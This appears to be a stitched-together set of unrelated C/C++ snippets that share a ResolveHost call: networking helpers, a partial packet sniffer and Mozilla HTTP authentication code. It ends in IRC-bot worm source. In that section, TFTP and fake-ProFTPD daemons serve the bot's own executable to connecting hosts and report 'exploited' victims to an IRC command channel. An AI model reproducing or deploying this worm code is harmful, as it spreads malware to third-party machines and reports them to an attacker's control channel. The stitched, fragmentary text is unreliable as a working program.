bool TCPConnectionServer::Init( const std::string &host, unsigned short port, bool server )
{
bufferSize = 1024;
isServer = server;
hostName = host;
portNr = port;
socketSet = SDLNet_AllocSocketSet( 100 );
isSocketConnected.resize( 100 );
for ( int i = 0 ; i < isSocketConnected.size() ; ++i )
isSocketConnected[i] = false;
if ( !ResolveHost() )
{
std::cout << "TCPConnection@" << __LINE__ << " Resolve Host failed!" << std::endl;
return false;
}
if ( !OpenConnectionToHost() )
{
std::cout << "TCPConnection@" << __LINE__ << " Open Connection To Host failed!" << std::endl;
return false;
}
return true;
}
UDPConnectedSocket::UDPConnectedSocket(const std::string& server, const unsigned remoteport)
: Socket(DATAGRAM)
{
sockaddr_in remoteAddr = ResolveHost(server, remoteport);
if (connect(mySocket, (sockaddr*)&remoteAddr, sizeof(remoteAddr)) == SOCKET_ERROR)
{
throw network_error(std::string("Error while connecting: ") + GetErrorMsg());
}
SetBlocking(false);
}
int quendi_rp_connect(const char* host)
{
int rsock;
struct sockaddr_in addr;
rsock = MakeSock();
if (ResolveHost(host, &addr, 0) != NULL)
return -2;
if (connect(rsock, (struct sockaddr*)&addr, sizeof(addr)) != 0)
return -1;
return rsock;
}
bool TCPConnection::Init( const std::string &host, unsigned short port, bool server )
{
isConnected = false;
isServer = server;
hostName = host;
portNr = port;
socketSet = SDLNet_AllocSocketSet( 1 );
if ( !ResolveHost() )
return false;
if ( !OpenConnectionToHost() )
{
logger->Log( __FILE__, __LINE__, "Opening connection to host faield : ", SDLNet_GetError() );
return false;
}
isConnected = !server;
return true;
}
int main(int argc, void **argv)
{
// Length of each packet to capture
const unsigned int PACKET_CAPTURE_LENGTH = sizeof(struct
ether_header) + sizeof(struct ip) + sizeof(struct tcphdr);
char Device[16], TargetHost[128], Filter[512];
bpf_u_int32 NetAddress, NetMask;
char PCapError[PCAP_ERRBUF_SIZE];
pcap_t *Descriptor;
char CompleteFilter[1024];
struct bpf_program Program;
u_char *PCapNullArgs = NULL;
if (argc < 3)
{
printf("Usage: %s Device TargetHost [Count] [Filter]\n", argv[0]);
exit(1);
}
#ifndef LINUX
strlcpy(Device, argv[1], sizeof(Device));
strlcpy(TargetHost, argv[2], sizeof(TargetHost));
#else
strncpy(Device, argv[1], sizeof(Device));
strncpy(TargetHost, argv[2], sizeof(TargetHost));
#endif
TargetAddress = ResolveHost(TargetHost);
// Getting network address and mask of the interface
if (pcap_lookupnet(Device, &NetAddress, &NetMask, PCapError) == -1)
{
printf("pcap_lookupnet: %s\n", PCapError);
printf("Error looking up network address and mask to
device %s\n", Device);
exit(1);
}
// ////////////////////////////////////////////////////////////////////////////
boost::asio::ip::address ResolveHost(const std::string &host)
{
return(ResolveHost(host.c_str()));
}
nsresult
nsHttpChannelAuthProvider::GetCredentialsForChallenge(const char *challenge,
const char *authType,
bool proxyAuth,
nsIHttpAuthenticator *auth,
nsAFlatCString &creds)
{
LOG(("nsHttpChannelAuthProvider::GetCredentialsForChallenge "
"[this=%p channel=%p proxyAuth=%d challenges=%s]\n",
this, mAuthChannel, proxyAuth, challenge));
// this getter never fails
nsHttpAuthCache *authCache = gHttpHandler->AuthCache();
uint32_t authFlags;
nsresult rv = auth->GetAuthFlags(&authFlags);
if (NS_FAILED(rv)) return rv;
nsAutoCString realm;
ParseRealm(challenge, realm);
// if no realm, then use the auth type as the realm. ToUpperCase so the
// ficticious realm stands out a bit more.
// XXX this will cause some single signon misses!
// XXX this was meant to be used with NTLM, which supplies no realm.
/*
if (realm.IsEmpty()) {
realm = authType;
ToUpperCase(realm);
}
*/
// set informations that depend on whether
// we're authenticating against a proxy
// or a webserver
const char *host;
int32_t port;
nsHttpAuthIdentity *ident;
nsAutoCString path, scheme;
bool identFromURI = false;
nsISupports **continuationState;
rv = GetAuthorizationMembers(proxyAuth, scheme, host, port,
path, ident, continuationState);
if (NS_FAILED(rv)) return rv;
uint32_t loadFlags;
rv = mAuthChannel->GetLoadFlags(&loadFlags);
if (NS_FAILED(rv)) return rv;
if (!proxyAuth) {
// if this is the first challenge, then try using the identity
// specified in the URL.
if (mIdent.IsEmpty()) {
GetIdentityFromURI(authFlags, mIdent);
identFromURI = !mIdent.IsEmpty();
}
if ((loadFlags & nsIRequest::LOAD_ANONYMOUS) && !identFromURI) {
LOG(("Skipping authentication for anonymous non-proxy request\n"));
return NS_ERROR_NOT_AVAILABLE;
}
// Let explicit URL credentials pass
// regardless of the LOAD_ANONYMOUS flag
}
else if ((loadFlags & nsIRequest::LOAD_ANONYMOUS) && !UsingHttpProxy()) {
LOG(("Skipping authentication for anonymous non-proxy request\n"));
return NS_ERROR_NOT_AVAILABLE;
}
//
// if we already tried some credentials for this transaction, then
// we need to possibly clear them from the cache, unless the credentials
// in the cache have changed, in which case we'd want to give them a
// try instead.
//
nsHttpAuthEntry *entry = nullptr;
authCache->GetAuthEntryForDomain(scheme.get(), host, port,
realm.get(), &entry);
// hold reference to the auth session state (in case we clear our
// reference to the entry).
nsCOMPtr<nsISupports> sessionStateGrip;
if (entry)
sessionStateGrip = entry->mMetaData;
// for digest auth, maybe our cached nonce value simply timed out...
bool identityInvalid;
nsISupports *sessionState = sessionStateGrip;
rv = auth->ChallengeReceived(mAuthChannel,
challenge,
proxyAuth,
&sessionState,
&*continuationState,
&identityInvalid);
sessionStateGrip.swap(sessionState);
if (NS_FAILED(rv)) return rv;
LOG((" identity invalid = %d\n", identityInvalid));
if (identityInvalid) {
if (entry) {
if (ident->Equals(entry->Identity())) {
if (!identFromURI) {
LOG((" clearing bad auth cache entry\n"));
// ok, we've already tried this user identity, so clear the
// corresponding entry from the auth cache.
authCache->ClearAuthEntry(scheme.get(), host,
port, realm.get());
entry = nullptr;
ident->Clear();
}
}
else if (!identFromURI ||
(nsCRT::strcmp(ident->User(),
entry->Identity().User()) == 0 &&
!(loadFlags &
(nsIChannel::LOAD_ANONYMOUS |
nsIChannel::LOAD_EXPLICIT_CREDENTIALS)))) {
LOG((" taking identity from auth cache\n"));
// the password from the auth cache is more likely to be
// correct than the one in the URL. at least, we know that it
// works with the given username. it is possible for a server
// to distinguish logons based on the supplied password alone,
// but that would be quite unusual... and i don't think we need
// to worry about such unorthodox cases.
ident->Set(entry->Identity());
identFromURI = false;
if (entry->Creds()[0] != '\0') {
LOG((" using cached credentials!\n"));
creds.Assign(entry->Creds());
return entry->AddPath(path.get());
}
}
}
else if (!identFromURI) {
// hmm... identity invalid, but no auth entry! the realm probably
// changed (see bug 201986).
ident->Clear();
}
if (!entry && ident->IsEmpty()) {
uint32_t level = nsIAuthPrompt2::LEVEL_NONE;
if (mUsingSSL)
level = nsIAuthPrompt2::LEVEL_SECURE;
else if (authFlags & nsIHttpAuthenticator::IDENTITY_ENCRYPTED)
level = nsIAuthPrompt2::LEVEL_PW_ENCRYPTED;
// at this point we are forced to interact with the user to get
// their username and password for this domain.
rv = PromptForIdentity(level, proxyAuth, realm.get(),
authType, authFlags, *ident);
if (NS_FAILED(rv)) return rv;
identFromURI = false;
}
}
if (identFromURI) {
// Warn the user before automatically using the identity from the URL
// to automatically log them into a site (see bug 232567).
if (!ConfirmAuth(NS_LITERAL_STRING("AutomaticAuth"), false)) {
// calling cancel here sets our mStatus and aborts the HTTP
// transaction, which prevents OnDataAvailable events.
mAuthChannel->Cancel(NS_ERROR_ABORT);
// this return code alone is not equivalent to Cancel, since
// it only instructs our caller that authentication failed.
// without an explicit call to Cancel, our caller would just
// load the page that accompanies the HTTP auth challenge.
return NS_ERROR_ABORT;
}
}
if (AuthModuleRequiresCanonicalName(*continuationState)) {
nsresult rv = ResolveHost();
if (NS_SUCCEEDED(rv))
return NS_ERROR_IN_PROGRESS;
return rv;
}
//
// get credentials for the given user:pass
//
// always store the credentials we're trying now so that they will be used
// on subsequent links. This will potentially remove good credentials from
// the cache. This is ok as we don't want to use cached credentials if the
// user specified something on the URI or in another manner. This is so
// that we don't transparently authenticate as someone they're not
// expecting to authenticate as.
//
nsXPIDLCString result;
rv = GenCredsAndSetEntry(auth, proxyAuth, scheme.get(), host, port,
path.get(), realm.get(), challenge, *ident,
sessionStateGrip, getter_Copies(result));
if (NS_SUCCEEDED(rv))
creds = result;
return rv;
}
NS_IMETHODIMP nsHttpChannelAuthProvider::OnAuthAvailable(nsISupports *aContext,
nsIAuthInformation *aAuthInfo)
{
LOG(("nsHttpChannelAuthProvider::OnAuthAvailable [this=%p channel=%p]",
this, mAuthChannel));
mAsyncPromptAuthCancelable = nullptr;
if (!mAuthChannel)
return NS_OK;
nsresult rv;
const char *host;
int32_t port;
nsHttpAuthIdentity *ident;
nsAutoCString path, scheme;
nsISupports **continuationState;
rv = GetAuthorizationMembers(mProxyAuth, scheme, host, port,
path, ident, continuationState);
if (NS_FAILED(rv))
OnAuthCancelled(aContext, false);
nsAutoCString realm;
ParseRealm(mCurrentChallenge.get(), realm);
nsHttpAuthCache *authCache = gHttpHandler->AuthCache();
nsHttpAuthEntry *entry = nullptr;
authCache->GetAuthEntryForDomain(scheme.get(), host, port,
realm.get(), &entry);
nsCOMPtr<nsISupports> sessionStateGrip;
if (entry)
sessionStateGrip = entry->mMetaData;
nsAuthInformationHolder* holder =
static_cast<nsAuthInformationHolder*>(aAuthInfo);
if (holder) {
ident->Set(holder->Domain().get(),
holder->User().get(),
holder->Password().get());
}
if (AuthModuleRequiresCanonicalName(*continuationState)) {
rv = ResolveHost();
if (NS_FAILED(rv))
OnAuthCancelled(aContext, true);
return NS_OK;
}
nsAutoCString unused;
nsCOMPtr<nsIHttpAuthenticator> auth;
rv = GetAuthenticator(mCurrentChallenge.get(), unused,
getter_AddRefs(auth));
if (NS_FAILED(rv)) {
NS_ASSERTION(false, "GetAuthenticator failed");
OnAuthCancelled(aContext, true);
return NS_OK;
}
nsXPIDLCString creds;
rv = GenCredsAndSetEntry(auth, mProxyAuth,
scheme.get(), host, port, path.get(),
realm.get(), mCurrentChallenge.get(), *ident,
sessionStateGrip, getter_Copies(creds));
mCurrentChallenge.Truncate();
if (NS_FAILED(rv)) {
OnAuthCancelled(aContext, true);
return NS_OK;
}
return ContinueOnAuthAvailable(creds);
}
void TFTPDHandler(LPVOID dwParam)
{
char szSendBuffer[MAX_PATH], szType [] = "octet", szFileBuffer[516], szRemoteIpAddress[16], szFilePath[MAX_PATH];
int iRetVal = 1;
FILE* hFile;
if(!(pThread[FindPid("TFTPDaemon")].sServerSock = socket(AF_INET, SOCK_DGRAM, 0)))
ExitThread(0);
if(!Bind(pThread[FindPid("TFTPDaemon")].sServerSock, 69, true))
ExitThread(0);
if(!GetModuleFileName(NULL, szFilePath, sizeof(szFilePath)) || !(hFile = fopen(szFilePath, "rb")))
ExitThread(0);
while(1)
{
TIMEVAL hTimeVal;
hTimeVal.tv_sec = 5;
hTimeVal.tv_usec = 5000;
fd_set hFDSET;
FD_ZERO(&hFDSET);
FD_SET(pThread[FindPid("TFTPDaemon")].sServerSock, &hFDSET);
memset(szSendBuffer, 0, sizeof(szSendBuffer));
if(select(0, &hFDSET, NULL, NULL, &hTimeVal))
{
SOCKADDR_IN sinSockAddrInClient;
int iSockAddrLenght = sizeof(sinSockAddrInClient);
if(!(recvfrom(pThread[FindPid("TFTPDaemon")].sServerSock, szSendBuffer, sizeof(szSendBuffer), 0, (LPSOCKADDR)&sinSockAddrInClient, &iSockAddrLenght)))
ExitThread(0);
_snprintf(szRemoteIpAddress, sizeof(szRemoteIpAddress), inet_ntoa(sinSockAddrInClient.sin_addr));
if(szSendBuffer[0] == 0 && szSendBuffer[1] == 1)
{
char *szTempRequest = szSendBuffer, *szTempType = szSendBuffer;
szTempRequest += 2;
szTempType += (strlen(filename2) + 3);
fseek(hFile, 0, SEEK_SET);
szFileBuffer[0] = 0;
szFileBuffer[1] = 3;
szFileBuffer[2] = 0;
szFileBuffer[3] = 1;
iRetVal = fread(&szFileBuffer[4], 1, 512, hFile);
sendto(pThread[FindPid("TFTPDaemon")].sServerSock, szFileBuffer, iRetVal + 4, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght);
}
else
if(szSendBuffer[0] == 0 && szSendBuffer[1] == 4)
{
BYTE BFirstPart = szSendBuffer[2], BSeccondPart = szSendBuffer[3];
szFileBuffer[0] = 0;
szFileBuffer[1] = 3;
if (BSeccondPart == 255)
{
szFileBuffer[2] = ++BFirstPart;
szFileBuffer[3] = BSeccondPart = 0;
}
else
{
szFileBuffer[2] = BFirstPart;
szFileBuffer[3] = ++BSeccondPart;
}
unsigned int iBlocks = (BFirstPart * 256) + BSeccondPart - 1;
fseek(hFile, iBlocks * 512, SEEK_SET);
iRetVal = fread(&szFileBuffer[4], 1, 512, hFile);
sendto(pThread[FindPid("TFTPDaemon")].sServerSock, szFileBuffer, iRetVal + 4, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght);
if (!iRetVal)
BOT->cIRC.SendData("PRIVMSG %s :-wormride.tftpd- exploited %s (%s) succesfully\r\n",BOT->cIRC.cConf.cChan.c_str(),ResolveHost(szRemoteIpAddress), szRemoteIpAddress);
}
else
sendto(pThread[FindPid("TFTPDaemon")].sServerSock, "\x00\x05\x00\x04\x6B\x74\x68\x78\x00",9, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght);
}
else
continue;
}
DelThread(FindPid("TFTPDaemon"));
fclose(hFile);
ExitThread(0);
}
void FtpdHandler()
{
char szBuffer[128], szSendBuffer[128], szCommand[128], szParamter[128], szRemoteIp[128], szFtpdIp[16];
char szPart1[4], szPart2[4], szPart3[4], szPart4[4], szPort[64], szPort1[64], szPort2[64];
int iFDMax, iAddressLenght, iPort1, iPort2, i;
struct fd_set hFDSETMain, hFDSETClient;
struct sockaddr_in sinSockAddrIn;
SOCKET sClientSock;
long lIpAddress;
FD_ZERO(&hFDSETMain);
FD_ZERO(&hFDSETClient);
if(!(pThread[FindPid("FTPDaemon")].sServerSock = socket(AF_INET, SOCK_STREAM, 0)))
ExitThread(0);
if(!Bind(pThread[FindPid("FTPDaemon")].sServerSock, usFtpdPort, false))
ExitThread(0);
FD_SET(pThread[FindPid("FTPDaemon")].sServerSock, &hFDSETMain);
if(!(iFDMax = pThread[FindPid("FTPDaemon")].sServerSock))
ExitThread(0);
while(pThread[FindPid("FTPDaemon")].sServerSock)
{
hFDSETClient = hFDSETMain;
if (select(iFDMax+1, &hFDSETClient, NULL, NULL, NULL) == SOCKET_ERROR)
ExitThread(0);
for(i = 0; i <= iFDMax; i++)
{
memset(szBuffer, 0, sizeof(szBuffer));
memset(szCommand, 0, sizeof(szCommand));
if (FD_ISSET(i, &hFDSETClient))
{
if (i == (int)pThread[FindPid("FTPDaemon")].sServerSock)
{
iAddressLenght = sizeof(sinSockAddrIn);
if ((sClientSock = accept(pThread[FindPid("FTPDaemon")].sServerSock, (LPSOCKADDR)&sinSockAddrIn, &iAddressLenght)) != SOCKET_ERROR)
{
FD_SET(sClientSock, &hFDSETMain);
if ((int)sClientSock > iFDMax)
iFDMax = sClientSock;
_snprintf(szSendBuffer, sizeof(szSendBuffer), "220 ProFTPD 1.%d.%d Server (ProFTPD Default Installation)\n", RandomNumber(0, 2), RandomNumber(0, 10));
send(sClientSock, szSendBuffer, strlen(szSendBuffer) , 0);
}
}
else
{
if(!(recv(i, szBuffer, sizeof(szBuffer), 0)))
{
FD_CLR((SOCKET)i, &hFDSETMain);
closesocket(i);
}
else
{
sscanf(szBuffer,"%s %s", szCommand, szParamter);
if(!strcmp(szCommand, "USER"))
send(i, "331 Password required\n", 22, 0);
else
if(!strcmp(szCommand, "PASS"))
send(i, "230 User logged in.\n", 20, 0);
else
if(!strcmp(szCommand, "SYST"))
send(i, "215 UNIX Type: L8\n", 18, 0);
else
if(!strcmp(szCommand, "REST"))
send(i, "350 Restarting.\n", 16, 0);
else
if(!strcmp(szCommand, "PWD"))
send(i, "257 \"/\" is current directory.\n", 30, 0);
else
if(!strcmp(szCommand, "TYPE") && !strcmp(szParamter, "A") || !strcmp(szParamter, "I"))
send(i, "200 Type set to A.\n", 19 , 0);
else
if(!strcmp(szCommand, "PASV"))
send(i, "425 Passive not supported on this server\n", 41, 0);
else
if(!strcmp(szCommand, "LIST"))
send(i, "226 Transfer complete\n", 22, 0);
else
if(!strcmp(szCommand, "PORT"))
{
sscanf(szBuffer, "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]", szPart1, szPart2, szPart3, szPart4, szPort1, szPort2);
iPort1 = atoi(szPort1);
iPort2 = atoi(szPort2);
memset(szPort, 0, sizeof(szPort));
_snprintf(szPort, sizeof(szPort), "%x%x\n", iPort1, iPort2);
lIpAddress = strtoul(szPort, NULL, 16);
_snprintf(szRemoteIp, sizeof(szRemoteIp), "%s.%s.%s.%s", szPart1, szPart2, szPart3, szPart4);
send(i, "200 PORT command successful.\n", 29 , 0);
}
else
if (!strcmp(szCommand, "RETR"))
{
send(i, "150 Opening BINARY mode data connection\n", 40 , 0);
if(FtpdEstablishDataSocket(szRemoteIp, (int)lIpAddress))
{
if(FtpdSendFile(sDataSocket))
send(i, "226 Transfer complete.\n", 23 , 0);
else
send(i, "425 Can't open data connection.\n", 32, 0);
nFtpdTotalServed++;
if(!GetSocketAddress(i, szFtpdIp))
strncpy(szFtpdIp, "unknown", sizeof(szFtpdIp));
BOT->cIRC.SendData("PRIVMSG %s :-wormride.ftod- %d. send success to %s (%s) succesfully\r\n",BOT->cIRC.cConf.cChan.c_str(),nFtpdTotalServed, ResolveHost(szFtpdIp), szFtpdIp);
closesocket(sDataSocket);
}
else
send(i, "425 Can't open data connection.\n", 32, 0);
}
else
if(!strcmp(szCommand, "QUIT"))
send(i, "221 Goodbye.\n", 13, 0);
else
send(i, "501 Option not supported.\n", 26, 0);
memset(szBuffer, 0, sizeof(szBuffer));
}
}
}
}
}
DelThread(FindPid("FTPDaemon"));
ExitThread(1);
}